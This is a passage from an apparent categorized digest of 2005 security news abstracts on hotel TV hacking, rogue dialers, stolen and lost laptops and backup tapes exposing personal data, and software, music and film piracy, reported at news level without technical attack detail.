The article reports that a laptop running linux, its IrDA port and a USB TV tuner can be used to trick the TV into doing more than it was supposed to do, including gaining access to the NSFW content without being charged for it, snooping on other people's TV watching habits, their Internet browsing habits and their e-mails. Also, the "coding" system used for infrared-based access control to the hotel minibars doesn't seem to be insurmountable either.

[Abstract by Florian Liekweg]

The bill so far: Lost profit for the hotel, lost privacy for the customers, the possibility for corporate espionage. Return value: Easy network access. Good deal, eh?

[Abstract by Florian Liekweg]

Category 17.3

Phreaking, cramming, uncapping, theft of services

2005-12-22

British face fines Parliament companies software hijacks connection United Kingdom fraudulent text messages voice mails applications Trojan spam

DHS IAIP Daily; http://news.com.com/British+rogue+dialers+face+heftier+fines/2100-1037_3-6005760.html?tag=cd.lede

British "rogue dialers" face heftier fines.

British Parliament members have agreed to raise the maximum fine that can be imposed against companies that operate "rogue dialer" software that hijacks a dial-up Internet user's Web Connection. Parliament on Wednesday, December 21, agreed that, as of Friday, December 30, companies caught abusing United Kingdom premium-rate services should be liable to fines of up to \$434,281, up from the existing limit of \$173,998. The higher fines will also apply to fraudulent text messages and voice mails that tell people they have won a prize. Many thousands of dial-up Internet users have fallen victim to rogue dialers throughout 2005. Once installed on a dial-up user's PC, the applications can secretly dial a premium-rate number. This has led some people to run up call charges of hundreds of pounds. It's thought that many rogue dialers are spread using Trojan horses contained within spam e-mails. Last month, Ofcom warned that there was "growing evidence of consumer harm" arising from rogue dialers.

18.1 Theft of equipment

Category 18.1 Theft of equipment
 2005-03-29 Social Security Numbers SSN laptop computer data theft reporting law awareness alert thief university students alumni

RISKS	23	82
-------	----	----

UNINTENDED CONSEQUENCES OF CALIFORNIA DATA-THEFT REPORTING LAW

A laptop computer containing names, SSNs, and some addresses and birthdates for 98,369 alumni, grad students and applicants was stolen from an office at UC Berkeley. In compliance with California's new data-theft reporting law, the breach was reported and has now been widely publicized -- although ironically, as a writeup on slashdot points out, this publicity may have alerted the thief, who was probably only interested in the hardware, to the true value of his find.

[Summary and analysis posted in RISKS by Steve Summit]

Category 18.1 Theft of equipment
 2005-03-29 identity data laptop theft University of California Berkeley Social Security Numbers
 EDUPAGE; <http://www.insidehighered.com/index.php/news/2005/03/29/theft>
 THIEF GRABS LAPTOP AND 100,000 IDENTITIES

Officials at the University of California at Berkeley said that a laptop stolen from the university's graduate division contained personal information for nearly 100,000 individuals. The computer included records for applicants to Berkeley's graduate programs from fall 2001 to spring 2004; students enrolled in the school's graduate programs from fall 1989 to fall 2003; and individuals who received doctorates from Berkeley between 1976 and 1999. Although no evidence exists that any of the stolen information has been used fraudulently, according to a statement from the university, the institution is required by a California law to disclose the breach to those affected. The statement said the university is making "every reasonable effort to notify by mail or e-mail all 98,369 individuals whose names and Social Security numbers were on the computer." Inside Higher Ed, 29 March 2005

Category 18.1 Theft of equipment
 2005-04-08 stolen computers medical records California Security Breach Information Act law encryption confidentiality HIPAA
 SANS NewsBites; http://news.zdnet.com/2102-1009_22-5660514.html?tag=printhis
 STOLEN COMPUTERS CONTAIN 185,000 PEOPLE'S MEDICAL RECORDS

Two computers containing the financial and medical records of nearly 185,000 current and former patients were stolen from the offices of the San Jose Medical group late last month. The group's vice president for information technology says he believes the thieves were interested in the computers and not the information they contained. Nonetheless, the affected patients are being notified pursuant to California's Security Breach Information Act. The company had been transferring patient data from secured servers to the PCs; some of the data were encrypted.

Category 18.1 Theft of equipment
 2005-05-23 data personal information theft MCI employee data Social Security Numbers
 EDUPAGE; <http://online.wsj.com/article/0,,SB111680003245940129,00.html>
 LATEST LOSS OF PERSONAL INFORMATION: MCI

Officials from long-distance carrier MCI are investigating the loss of employee data after a laptop was stolen from the car of an MCI financial analyst. The laptop contained names and Social Security numbers for about 16,500 employees, whom the company has notified. A spokesperson for MCI said the machine was password-protected but did not say whether the employee data were encrypted. MCI is reviewing the incident to see whether the analyst violated any company policies, such as those concerning what types of information may be put on laptops and what information must be encrypted. MCI is also taking this opportunity to make sure employees who have access to sensitive information are clear on company policies. The company said that so far there have been no reports that any of the information on the laptop has been sold or misused. Wall Street Journal, 23 May 2005 (sub. req'd)

Category 18.1

Theft of equipment

2005-06-10

data theft personal information disclosure Motorola Affiliated Computer Services fraud insurance offer

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=8760748>

MOTOROLA EMPLOYEE DATA STOLEN

Over the Memorial Day weekend, thieves broke into the offices of Affiliated Computer Services (ACS), a provider of human resources services, and stole two computers with personal information on Motorola employees. The computers, which reportedly employed security measures to make accessing their files difficult, contained names and Social Security numbers of an unspecified number of employees but did not include any financial information, according to a Motorola spokesperson. Lesley Pool, chief marketing officer at ACS, described the theft as an "amateur burglary" and said no evidence has surfaced that any of the information has been used for illicit purposes. Most of those affected are U.S. employees of Motorola, which employs about 34,000 people in the United States. Motorola has notified all of the affected employees and offered them fraud insurance at no charge. Reuters, 10 June 2005

18.2 Loss of equipment

*Category 18.2**Loss of equipment*

2005-01-24

laptops cell phones equipment loss taxis cabs data confidentiality possession control

NewsScan;

<http://www.cnn.com/2005/TECH/ptech/01/24/taxis.lost.reut/index.html>

THOUSANDS OF LAPTOPS, CELL PHONES LEFT IN CABS

A new survey estimates that 11,300 laptops, 31,400 handheld devices and 200,000 mobile phones were left in taxis around the world during the last six months. The survey, which polled some 1,000 taxi drivers and extrapolated from there, indicates that four out of five cell phones and 19 out of 20 laptops were returned to their owners eventually. Geographically, Chicagoans were most likely to leave a handheld device in a cab, while Londoners were more careless than others with their laptops. Danes seemed to be most likely to forget their cell phones. Other items reportedly left in cabs include a harp, dentures, artificial limbs and a baby. (Reuters/CNN.com 24 Jan 2005)

*Category 18.2**Loss of equipment*

2005-02-25

unencrypted data laptop computer loss confidentiality medical information blood bank

RISKS

23

76

BLOOD BANK LAPTOP FALLS OFF TRUCK; DATA UNENCRYPTED

Delaware blood bank had sensitive donor data on disk; "Officials say they will now encrypt the information to prevent its unauthorized use or disclosure."

*Category 18.2**Loss of equipment*

2005-02-26

bank data loss tapes Visa credit cards expenses governmental Defense Department information theftEDUPAGE; <http://www.nytimes.com/2005/02/26/national/26data.html>

BANK LOSES SENSITIVE DATA

The Bank of America has lost backup tapes containing details of Visa cards that the bank issued to 1.2 million federal employees, who use the credit cards for travel expenses and other purchases related to government business. About 900,000 of those affected work in the Defense Department, according to Alexandra Trower, a spokesperson from the bank. Trower said that following a shipment of a number of such backup tapes, it was discovered that some were missing. The Secret Service was notified and is investigating the disappearance, but according to Trower, no evidence has surfaced that any of the lost information has been put to improper use or that the loss resulted from theft. The bank does not plan to change any of the affected credit card numbers, but it has notified those individuals whose information was included on the missing tapes.

*Category 18.2**Loss of equipment*

2005-05-02

data leakage loss backup tapes personal information employees history Social Security Numbers (SSN)

RISKS; <http://tinyurl.com/cfgfm>; <http://tinyurl.com/9e86u>;
<http://tinyurl.com/7ejo3>

23

86

IRON MOUNTAIN LOSES BACKUP TAPES IN FOURTH INCIDENT THIS YEAR

Peter G. Neumann reported another serious data loss:

Time Warner Inc. Data on 600,000 current and former employees stored on computer backup tapes was lost by an outside storage company. The Secret Service is now investigating. The tapes included names and Social Security information on current and former Time Warner employees, dependents, and beneficiaries, back to 1986.

In addition, the *Wall Street Journal*, 3 May 2005, noted that the tapes were lost by Iron Mountain Inc., a data-storage company based in Boston. An Iron Mountain spokeswoman said this is the fourth time this year that Iron Mountain has lost tapes during delivery to a storage facility.

<i>Category</i>	<i>18.2</i>	<i>Loss of equipment</i>		
2005-05-07		physical security data leakage equipment loss computers disk drives national laboratory sloppy procedures errors flaws mess national security		
RISKS			23	87

US IDAHO NATIONAL LAB LOSES 269 COMPUTERS & DISK DRIVES IN 3 YEARS

The U.S. federal Idaho National Laboratory nuclear-reactor research lab cannot account for more than 200 missing computers and disk drives that may have contained sensitive information. The computers were among 998 items costing \$2.2 million dollars that came up missing over the past three years. Lab officials told investigators that none of the 269 missing computers and disk drives had been authorized to process classified information. But they acknowledged there was a possibility the devices contained "export controlled" information -- data about nuclear technologies applicable to both civilian and military use.
[Abstract by Peter G. Neumann]

<i>Category</i>	<i>18.2</i>	<i>Loss of equipment</i>		
2005-07-12		data leakage computer loss theft government agencies UK survey report		

RISKS; <http://www.egovmonitor.com/node/1843> 23 94

UK GOVERNMENT LOSES AT LEAST 150 COMPUTERS IN 1ST 6 MONTHS OF 2005

Central government departments have reported to have suffered at least 150 cases of computer theft in the last six months, according to official figures. The Home Office alone recorded 95 incidents of computer items being stolen between January and June 2005 - equivalent to a theft taking place in the Department every other day.

By comparison, the Ministry of Defence reported 23 computer thefts to date in 2005, down from a total of 153 in the previous year....

In a written answer, Doug Touhig, a junior minister at the MoD, said the Ministry had also experienced 30 attempted computer hacking incidents so far in 2005, having only reported 36 for the whole of 2004. However the Minister gave an assurance that "none of the reported incidents of hacking had any operational impact". Most of these incidents were due to internal security breaches, rather than external threats. Half of the cases were classed as "internal - misuse of resources".

Instances of reported computer thefts in other departments were in single figures so far this year, and most recorded no cases of IT systems being accessed illegally.

The Department for Transport said it had experienced 71 cases of computer hacking in 2003-4, 31 in the following year and one incident since April. The Treasury, the Department for International Development and the Department for Education and Skills said their IT systems had been breached on one occasion in 2004-5. Figures from the DfES show that in the two years since 2003/4, it experienced 37 incidents of computer theft, all but one of which were "perpetrated by insiders". The Department of Health said it did not distinguish between losses and theft of IT equipment, but said there were 44 such incidents in 2004-5, costing it almost 40,000 pounds. Figures provided by Health Minister Jane Kennedy put the total sum lost by the Department over the last four years at 233,000 pounds.

[Report by Ian Cuddy]

19.1 Software piracy

Category 19.1 Software piracy
2005-01-07 **software pirate Internet Adobe Autodesk Macromedia Microsoft copyright infringement**

EDUPAGE; <http://washingtontimes.com/upi-breaking/20050107-054741-2893r.htm>

SOFTWARE PIRATE GETS 18 MONTHS

A federal court in Virginia has sentenced a Maryland man to 18 months in prison for selling pirated software on the Internet. The Justice Department alleged that Kishan Singh operated a Web site where users could pay for access to downloads of copyrighted applications from companies including Adobe, Autodesk, Macromedia, and Microsoft. Singh removed copy protections from the files he made available on his Web site. Singh pleaded guilty to one count of copyright infringement and was also ordered to forfeit the computer equipment he used to commit his crime. According to the Justice Department, during the time Singh's Web site was operating, users from around the world downloaded thousands of copies of various applications, worth a total value estimated to be between \$70,000 and \$120,000.

Category 19.1 Software piracy
2005-01-25 **Microsoft limit downloads software owners Windows Genuine Advantage patches updates pirated counterfeit version China Norway Czech Republic piracy**

EDUPAGE; http://news.com.com/2100-1016_3-5550205.html

MICROSOFT TO LIMIT DOWNLOADS TO LEGAL SOFTWARE OWNERS

Microsoft will soon begin requiring users to employ a program called Windows Genuine Advantage before downloading software patches or updates. The program verifies that the computer requesting the download is running a legitimate copy of Windows software rather than a pirated or counterfeit version. Initially, the requirement will apply to users in China, Norway, and the Czech Republic, but it will include all users by the middle of the year. Users will still be able to receive software updates and patches using the Automatic Updates feature. The program is part of Microsoft's three-pronged approach to limiting software piracy: educating users, designing products that discourage illegal copying, and legal enforcement. In addition to allowing downloads, the program will also offer users discounts on Microsoft products and services. Analysts noted that although the obvious benefit of the program is to Microsoft by way of decreasing the incidence of software piracy, users stand to benefit as well. Ensuring that a computer is running a legitimate version of an operating system shields that computer from bugs and glitches associated with pirated software, while guaranteeing that patches and upgrades will work properly.

Category 19.1 Software piracy
2005-08-01 **Microsoft anti-piracy system hacked Windows Genuine Advantage WGA copy**

DHS IAIP Daily;
<http://www.techworld.com/security/news/index.cfm?NewsID=4134>

HACKERS BREAK INTO MICROSOFT'S ANTI-PIRACY SYSTEM

Hackers found a way around Microsoft's Windows Genuine Advantage (WGA) anti-piracy system last week, only a day after the system went into effect. WGA requires Windows users to verify they are using a genuine copy of Windows before they are allowed to download certain software updates. Security patches aren't covered by the system, and remain available to any Windows user, legitimate or not. Using a simple JavaScript hack, all users had to do was paste a JavaScript URL into the Internet Explorer browser window at the beginning of the process; this turned off the key check, according to users. Microsoft said it was investigating the hack but didn't consider it a security flaw. The company said that it may not take immediate action to fix the problem. "As the validation system is updated from time to time, we will address this and other issues that may arise," a Microsoft spokesperson said. Microsoft put WGA into place to cut down on Windows piracy, and to persuade users who are running pirated copies of Windows to buy legitimate licences.

Category 19.1 Software piracy

2005-12-07 **Microsoft eBay partnership software piracy online auction**

DHS IAIP Daily; <http://www.vnunet.com/vnunet/news/2147277/ebay-tackles-micro-soft-software>

MICROSOFT AND EBAY HOOK UP TO CATCH PIRATED SOFTWARE

Microsoft and eBay are working together to stop the sale of pirated software on the online auction site. The companies said in a statement that over 21,000 suspect software sales were removed from the eBay United Kingdom site between August and October this year. Around half were sales of counterfeit copies of Windows, and 36 percent were fake copies of Microsoft Office. Microsoft claimed that the crackdown is working because eBay removed 11,535 suspected counterfeit sales from the site in August. This fell to 4,460 in September and 5,423 in October.

Category 19.1 Software piracy

2005-12-08 **software piracy intellectual property rights violation copyright infringement study BSA**

EDUPAGE; http://news.com.com/2100-1014_3-5987127.html

PUTTING THE NUMBERS TO SOFTWARE PIRACY

A study conducted by research firm IDC on behalf of the Business Software Alliance (BSA) indicates that as much as 35 percent of software is pirated, down only about 1 percent from last year. The study covered 70 countries, representing 99 percent of the global market for IT spending. Software piracy is significantly lower than it was in the early 1990s, when, for example, the piracy rate in Europe was nearly 80 percent. That number has fallen to 35 percent, but, according to Beth Scott, European vice president of the BSA, the current rate is still 20 times higher than losses to shoplifting. The IDC study estimates that a reduction in the piracy rate to 25 percent would lead to the generation of 2.4 million jobs and \$400 billion of economic growth. Piracy remains rampant in some countries, including China (90 percent) and Russia (87 percent). The problem is so bad that China, which is one of the world's largest markets for PCs, is not on the list of top 20 global markets for software because so much software is obtained illegally. CNET, 8 December 2005

19.2 Music piracy

Category 19.2 *Music piracy*

2005-01-20 **music legal piracy digital downloads**

NewsScan; <http://www.siliconvalley.com/mld/siliconvalley/10684757.htm>

DO PEOPLE DO ANYTHING BESIDES LISTEN TO MUSIC?

A report from the International Federation of the Phonographic Industry (IFPI) says that music fans in the U.S. and Europe legally downloaded more than 200 million song tracks in 2004 -- compared to just 20 million the previous year. IFPI top executive John Kennedy says, "Digital music is now in the mainstream" -- yet he worries that the digital music market continues to be threatened by piracy. He would like to see the piracy issue placed higher on government agendas and more responsibility shown by Internet service providers for misuse of their networks. (AP/San Jose Mercury News 20 Jan 2005)

Category 19.2 *Music piracy*

2005-01-25 **music piracy Russia copyright infringement intellectual property international**

NewsScan; <http://online.wsj.com/article/0>

RUSSIAN MUSIC SITES SPECIALIZE IN CHEAP DOWNLOADS

Russian music sites with names like MP3search.ru and 3MP3.ru provide music fans with a way to bypass the copyright restrictions on most U.S. and European online music services and pay less while they're at it. The sites offer a large selection of highquality downloads with no restrictions for about 10 cents or less per song, but U.S. lawyers warn that downloading music from these sites is just as illegal as downloading from free P2P sites like Kazaa: "It doesn't matter if somebody downloads in the U.S. and believes that it's legal because the site tells them so," says one intellectual property attorney. However, several of the Russian sites say they pay licensing fees to a group called the Russian Organization for Multimedia & Digital Systems (ROMS), which purports to represent Russian copyright holders and acts "in conformity with the requirements of the Russian laws," according to ROMS legal expert Konstantin Leontiev. Meanwhile, the International Federation of the Phonographic Industry says that Russia is second only to China in CD piracy and is threatening legal action against some Russian music sites. (Wall Street Journal 25 Jan 2005)

Category 19.2 *Music piracy*

2005-02-18 **music piracy Napster copy protection bypass copyright infringement**

NewsScan; <http://theage.com.au/articles/2005/02/18/1108609381923.html>

USERS BYPASS NAPSTER COPY PROTECTION

Users have found a way to skirt copy protection on Napster's portable music subscription service just days after its high-profile launch, potentially enabling them to make CDs with hundreds of thousands of songs free. Such users are already providing instructions to other would-be song burners through technology websites like BoingBoing. Napster is offering a free trial of its new Napster To Go service, which will enable users for a monthly \$15 fee to download as much music as they want and transfer it to a portable device. They can also pay 99 cents for each track they want to burn to a CD. That "rental" model for digital entertainment, backed by giant software concern Microsoft and others, is getting its most serious mass-market tryout yet with Napster To Go. But, according to various Web sites, thwarting the intellectual property protections of the service is as easy as a free software patch. (The Age 18 Feb 2005)

Category 19.2

Music piracy

2005-04-22

RIAA legal defeat North Carolina student identity disclosure ISP DMCA John Doe lawsuits illegal downloading music piracy intellectual property rights violation copyright infringement

EDUPAGE; <http://chronicle.com/prm/daily/2005/04/2005042201t.htm>

JUDGE REJECTS RIAA'S EXPEDITED SUBPOENAS

A federal judge in North Carolina handed the Recording Industry Association of America (RIAA) a legal defeat in its effort to learn the identities of two students accused of illegal file sharing. The RIAA had sought the identities from the students' universities, the University of North Carolina at Chapel Hill and North Carolina State University, under an expedited subpoena process the group has since abandoned. In a December 2003 decision, another federal judge had rejected the expedited subpoenas, which did not require a judge's signature, ruling that Verizon could not be forced to disclose identities of its customers. In their capacity as Internet service providers (ISPs) for students, universities were given similar protection from the expedited subpoenas. In this case, Judge Russell A. Eliason ruled that an ISP that does not store information but merely transmits it cannot be compelled under the Digital Millennium Copyright Act to reveal identities of its users. After the 2003 decision, the RIAA began filing individual "John Doe" lawsuits for illegal file sharing. Under that process, which costs the RIAA more time and money than the other, ISPs can be forced to turn over identities of users. Chronicle of Higher Education, 22 April 2005 (sub. req'd)

Category 19.2

Music piracy

2005-06-07

peer-to-peer P2P legal music downloading services report

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=8721861>

MORE CONSUMERS TURNING TO LEGAL MUSIC SERVICES

Growing numbers of U.S. consumers are using legal online music services, making them viable competitors to peer-to-peer (P2P) services, which are typically rampant with illegal file sharing, according to research firm NPD Group. NPD data indicate that Apple's iTunes music store ties for second on a list of the most-used online music services, even with LimeWire and just behind WinMX. Other legal services Napster and RealNetworks's Rhapsody placed seventh and ninth on the list, which also includes such P2P services as Kazaa and BearShare. Isaac Josephson of NPD pointed out that, aside from avoiding the risk of prosecution, legal online music services offer several advantages over P2P networks, including convenience of finding what you're looking for and knowing that files you download do not contain spyware. These factors, coupled with the threat of legal action for copyright violations on P2P networks, make paying for music online an attractive proposition, according to Josephson. Reuters, 7 June 2005

Category 19.2

Music piracy

2005-07-27

study report illegal downloading music piracy purchase intellectual property rights violation copyright infringement

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4718249.stm>

STUDY SHOWS DOWNLOADERS BUY SONGS TOO

According to British research firm The Leading Question, illegal file sharers are more likely to purchase legal music downloads than others. Authors of the organization's report characterized as a "myth" the notion that illegal file sharers are simply "mercenaries hell-bent on breaking the law in pursuit of free music." Those who illegally share music are four and a half times more likely to buy music online, according to The Leading Question, indicating that these are users who are enthusiastic about music and are willing to patronize legal online music services if they are sufficiently compelling. A spokesperson from the British Phonographic Industry said the group was pleased with the new report but added that the practice of illegal file trading still is a significant drain on revenues to record labels. The report also found that most users are not likely to start using cell phones as their preferred music devices any time soon. BBC, 27 July 2005

Category 19.2 *Music piracy*

2005-08-19 **college campuses higher education student download habits peer-to-peer P2P intellectual property rights violation copyright infringement**

EDUPAGE; <http://www.siliconvalley.com/mld/siliconvalley/12426744.htm>

CAMPUSES STILL WORKING TO CHANGE STUDENT DOWNLOAD HABITS

Despite the availability of legal online music services on a growing number of college and university campuses, many students continue to get their music from illegal P2P downloads. At American University in Washington, D.C., only about half of the 3,800 students use the Ruckus music service. A similar percentage was reported for the 10,000 students of the University of Rochester, who have access to Napster. Pennsylvania State University estimates that about 40 percent of its 70,000 students use the Napster service provided to them. For students willing to risk being sued by the entertainment industry and downloading computer viruses, incentives for illegally downloading songs include the ability to copy the songs to CDs and to portable devices and to keep the music after they have left college. Officials from legal online music services acknowledged the hurdles in persuading all college students to abandon illegal file sharing, but they said that offering the services to college students will prove to be beneficial in the long term. San Jose Mercury News, 19 August 2005

Category 19.2 *Music piracy*

2005-08-22 **intellectual property rights violation copyright infringement music piracy legal download services college campuses RIAA pressure**

EDUPAGE; <http://chronicle.com/free/2005/08/2005082201t.htm>

COLLEGES CONTINUE TO OFFER LEGAL MUSIC SERVICES

Despite mixed or negative ratings from students, universities offering legal music and movie download services plan to continue doing so for two reasons: students have come to expect it, and legal file swapping remains part of higher education's plan to reduce Internet piracy. Colleges signing up for the services for the first time point to the same reasons. The arrangements are also a visible response to lawsuits filed by the Recording Industry Association of America against students swapping files on campus and the recent U.S. Supreme Court decision holding network administrators liable for individual acts of piracy if they "induced" the infractions. Offering the legal download services provides evidence of a good-faith effort to reduce illegal downloading activity on campus. Chronicle of Higher Education, 22 August 2005

Category 19.2 *Music piracy*

2005-08-29 **peer-to-peer P2P intellectual property rights violation copyright infringement music piracy file sharing eDonkey benefit BitTorrent crackdown**

EDUPAGE;

http://money.cnn.com/2005/08/29/technology/piracy_crackdown.reut/

EDONKEY BENEFITS FROM BITTORRENT CRACKDOWN

A new study by research firm CacheLogic suggests that the recent crackdown on BitTorrent P2P sites has merely shifted illegal file trading to eDonkey, which now has as many users as BitTorrent in the United States, China, Japan, and Britain. It is the leading P2P service in South Korea, Italy, Spain, and Germany. CacheLogic estimates that as much as 60 percent of global Internet traffic is attributable to P2P file sharing, and before the crackdown, BitTorrent represented up to one third of total Internet traffic. Andrew Parker, chief technology officer of CacheLogic, said the recent upswing of activity on eDonkey "is almost assuredly a result of the increased legal action toward the once-ignored BitTorrent." Parker also noted that the recent U.S. Supreme Court decision against Grokster has not resulted in a decline of file sharing. Parker said, "This cat and mouse game [between P2P services and entertainment industries] will continue." CNN, 29 August 2005

Category 19.2 *Music piracy*

2005-09-12 **RIAA MPAA Internet2 research laboratory lab anti-piracy efforts**

EDUPAGE; <http://chronicle.com/daily/2005/09/2005091202t.htm>

RIAA AND MPAA JOIN INTERNET2

The Recording Industry Association of America (RIAA) and the Motion Picture Association of America (MPAA) have become corporate members of Internet2, joining companies including the Ford Motor Company and C-Span. "Internet2 is a stepping stone between the research lab and the commercial sector," said Lauren Kallens, a spokesperson for the organization. Earlier this year, the entertainment groups sued hundreds of Abilene users for using the network to illegally trade files, but, according to Gayle Osterberg, a spokesperson for the MPAA, the groups' membership in Internet2 is unrelated to their antipiracy efforts. "This particular partnership," she said, "is more of an opportunity for us to have a technology testing ground." The groups plan to collaborate with the Internet2 community to study distribution and digital rights management technologies for networks faster than today's commercial Internet. Chronicle of Higher Education, 12 September 2005 (sub. Req'd)

Category 19.2 *Music piracy*

2005-09-22 **file sharing report peer-to-peer P2P campus higher education efforts**

EDUPAGE; <http://www.insidehighered.com/news/2005/09/22/filesharing>

REPORT ADDRESSES CAMPUS EFFORTS TO CONTROL FILE SHARING

A report submitted to Congress this week provides a snapshot of campus programs to provide legal alternatives to illegal file trading. Prepared by the Joint Committee of the Higher Education and Entertainment Communities, the report noted that the number of institutions offering legal download services has tripled during the past year, to 70, covering more than 670,000 students nationwide. Campuses offering such services include a number of large and high-profile institutions, and many other colleges and universities are expected to introduce such programs. The report acknowledged that measuring the effect of legal options on student behavior can be difficult, and it noted that large numbers of students at some schools continue to engage in illegal file trading despite the option of a legal service. The most successful approach, according to the report, is for a campus to enforce copyright policies and work to limit illegal file trading while offering students a legal alternative.

Inside Higher Ed, 22 September 2005

Category 19.2 *Music piracy*

2005-09-23 **anti-piracy tool file sharing peer-to-peer P2P MPAA IFPI**

EDUPAGE; http://news.zdnet.com/2100-9588_22-5876687.html

NEW TOOL DEFEATS FILE-SHARING APPLICATIONS

A new tool from the recording and film industries uninstalls or disables P2P applications, and it scans computers for illegal copies of songs or movies and deletes them. Digital File Check was developed by the International Federation of the Phonographic Industry (IFPI) in conjunction with the Motion Picture Association of America (MPAA) and is available free from the IFPI Web site. A statement from the IFPI noted that the tool does not report evidence of file sharing to any antipiracy organization. Rather, it is designed as an aid to parents and employers who want to discourage children and employees from using computers to violate copyrights. The IFPI will also publish a guide called "Copyright and Security Guide for Companies and Governments" that offers advice to employers about the risks they face by failing to prevent copyright violations on their networks. ZDNet, 23 September 2005

Category 19.2

Music piracy

2005-09-23

Congress anti-piracy file sharing report peer-to-peer P2P campus higher education efforts

EDUPAGE; <http://chronicle.com/daily/2005/09/2005092301t.htm>

CONGRESSMEN TO ASK FOR REVIEW OF HIGHER ED ANTIPIRACY EFFORTS

At a U.S. House of Representatives subcommittee meeting this week, lawmakers, campus officials, and representatives of the movie industry and of a provider of legal download services discussed efforts by U.S. Colleges and universities to curtail copyright violations on their networks. Reps. Lamar Smith (R-Tex.) and Howard Berman (D-Calif.) said they will ask the Government Accountability Office to issue a formal report on what effects those efforts have had on student file-trading habits. According to Smith, "We will ask for the report so we can increase the scrutiny and increase the public attention to piracy." Also at the hearing, Norbert Dunkel, director of housing at the University of Florida, described his institution's use of an application called Icarus, which automatically restricts usage of the network for students who connect to P2P services. Dunkel said the tool, which the university developed, has led to a 95 percent reduction in outgoing traffic from the university's network and virtually eliminated notices of copyright infringement. Smith applauded the application, but Daniel Updegrove, vice president for information technology at the University of Texas at Austin, expressed concerns that such a blanket approach to the problem could limit the academic freedom and privacy of students. Chronicle of Higher Education, 23 September 2005 (sub. req'd)

Category 19.2

Music piracy

2005-11-14

I2Hub peer-to-peer P2P networking Internet2 shut down copyright infringement intellectual property rights violation

EDUPAGE; http://news.com.com/2100-1027_3-5952060.html

I2HUB SHUTS DOWN

I2Hub, the P2P service that ran on Internet2's very high-speed network, has ceased operation amid growing concerns over the liability of such services for copyright infringements by their users. I2Hub was launched in early 2004 on the academic and research network that connects more than 200 locations. Although the service made forays into legal activities, it was largely used by students at connected campuses to trade music and movies at speeds substantially higher than possible with commercial Internet services. A number of i2Hub users had been targeted by the entertainment industry for copyright infringement, however, and the service itself was cited by the Recording Industry Association of America in September as a possible target of legal action. The closure of i2Hub follows that of Grokster last week and an announcement by eDonkey, the most popular P2P service, that it would change its business model to a paid download service. CNET, 14 November 2005

Category 19.2

Music piracy

2005-11-15

music piracy intellectual property rights violation copyright infringement international lawsuits IFPI

EDUPAGE; <http://news.bbc.co.uk/2/hi/entertainment/4438324.stm>

IFPI RATCHETS UP LAWSUITS

The International Federation of the Phonographic Industry (IFPI) has filed lawsuits against 2,100 individuals in a number of countries for allegedly sharing copyrighted material over the Internet. The new round of lawsuits, which targets users in the United Kingdom, France, Germany, Italy, Switzerland, Sweden, Argentina, Singapore, and Hong Kong, brings the IFPI's total to more than 3,800. In the United States, nearly 16,000 individuals have been sued for illegal file trading, resulting in more than 3,500 settlements so far. The sharp upswing in the number of lawsuits from the IFPI comes after strong victories for copyright holders in the United States, Australia, and South Korea against operators of P2P services, which in those countries can be held liable for copyright infringement by their users. IFPI Chief John Kennedy said the new suits represent "a significant escalation of our enforcement actions" and noted that through such lawsuits, thousands of individuals "have learnt to their cost the legal and financial risks involved in file-sharing copyrighted music." BBC, 15 November 2005

Category 19.2

Music piracy

2005-11-28

intellectual property rights violation copyright infringement peer-to-peer P2P file music sharing piracy Kazaa Australian Court order keyword filter

EDUPAGE;

http://www.infoworld.com/article/05/11/28/HNjudgeorderskazaa_1.html

AUSTRALIAN COURT ORDERS KAZAA TO INSTALL KEYWORD FILTER

The Federal Court of Australia in Sydney has ordered the operators of the Kazaa file-sharing service to install a keyword filter to screen out copyrighted material by December 5. The filter will keep users from trading files containing keywords from a list of 3,000 chosen by record companies. The order follows a September ruling that found Kazaa had been used extensively to infringe copyrights. Sharman Networks, the owner of Kazaa, won an extension until February 2006 to comply fully with the court's injunction to block file trading of copyrighted materials. The filtering system is seen as an interim measure, with Sharman expected to appeal in early 2006. InfoWorld, 28 November 2005

Category 19.2

Music piracy

2005-12-09

peer-to-peer P2P illegal file trading limit bogus junk files shut down sale Loudeye Overpeer

EDUPAGE; http://news.zdnet.com/2100-9595_22-5989758.html

P2P CLOGGER TO CLOSE

A company that tried to limit illegal file trading by flooding P2P networks with junk files is being shut down and put up for sale. Overpeer, which is owned by Loudeye, contracted with record companies and movie studios to place thousands of bogus versions of songs and movies on P2P services. When users searched for and downloaded those files, they would get garbage or advertisements rather than the desired files. Since late 2002, when Overpeer was at its height, a number of strategies have been developed to allow file traders and the services they use to make reasonably good guesses about files and to filter out the bogus ones. Officials from Loudeye said revenues had fallen significantly and that the division would cease operations immediately. Loudeye will attempt to sell Overpeer's assets. ZDNet, 9 December 2005

19.3 Movies / TV piracy

Category 19.3 *Movies / TV piracy*

2005-01-03

TiVo copy protection mobile viewing entertainment intellectual property copyrights legal fees video

NewsScan;

http://news.com.com/TiVo+goes+mobile+with+new+free+service/2100-1041_3-5510240.html

TIVO GOES MOBILE

TiVo has introduced a mobile option for its subscribers called TiVoToGo. The service, which requires the installation of free TiVo Desktop software on the target computer, enables users to transfer programs to their laptops, as long as copyright protections are in place. "Consumers don't want to be tied to their living room to watch their favorite entertainment," says TiVo chief marketing officer Matt Wisk. "With TiVoToGo, subscribers can take their favorite shows with them to enjoy on business trips or family vacations." The TiVo Desktop software is designed for the Windows XP and 2000 operating systems, and avoids content that uses Macrovision copy protection technology, including pay-per-view and video-on-demand programming and commercial DVDs. (CNet News.com 3 Jan 2005)

Category 19.3 *Movies / TV piracy*

2005-01-04

piracy movie BitTorrent eDonkey source monitoring surveillance movies intellectual property copyright infringement file-sharing

NewsScan; <http://www.siliconvalley.com/mld/siliconvalley/10561389.htm>

THE CONTINUING FIGHT AGAINST ONLINE PIRATES

A company called BayTSP of Los Gatos, California, has developed a monitoring system to identify the sources of bootleg copies of movies transmitted over file-sharing networks such as eDonkey and BitTorrent. BayTSP chief executive Mark Ishikawa explains, "Pirated copies of movies and software typically appear online within hours of release. Identifying and taking action against the first uploaders can greatly slow the distribution of illegally obtained intellectual property and might make users think twice before doing it." Ishikawa says the technology not only identifies the hard-core pirates who contribute to massive online piracy, but is also able to quantify the number of illegal copies made from the original bootleg (information necessary when a copyrightinfringement lawsuit is subsequently filed). (San Jose Mercury News 4 Jan 2005)

Category 19.3 *Movies / TV piracy*

2005-02-11

movie industry anti-piracy campaign MPAA prosecute illegally files lawsuits copyright LokiTorrent BitTorrent

